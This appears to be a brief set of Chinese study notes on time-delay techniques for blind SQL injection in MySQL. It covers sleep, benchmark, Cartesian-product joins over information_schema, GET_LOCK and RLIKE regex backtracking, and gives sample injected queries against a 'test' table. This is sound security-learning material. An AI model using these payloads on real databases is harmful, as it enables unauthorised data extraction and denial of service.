sleep()
benchmark(count, expr):重复执行某表达式
笛卡尔积
将多个表合并成为一个表,所以我们进行多表合并,耗费较长时间,达到延时的效果
select * from test where id=1 and if(1=1,(select count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C),1);

GET_LOCK(str,timeout)
使用字符串str给定的名字得到一个锁,超时为timeout秒
注:设置锁后,需要新开 一 个窗口并且是长连接才会有效
RLIKE**
通过rpad或 repeat构造长字符串,加以计算量大的 pattern,通过repeats的参数可以控制延时长短
select rpad('a',2000000,'a') RLIKE concat(repeat('(a.*)+',30),'b');
select * from test where id=1 and rpad('a',2000000,'a') RLIKE concat(repeat('(a.*)+',30),'b');


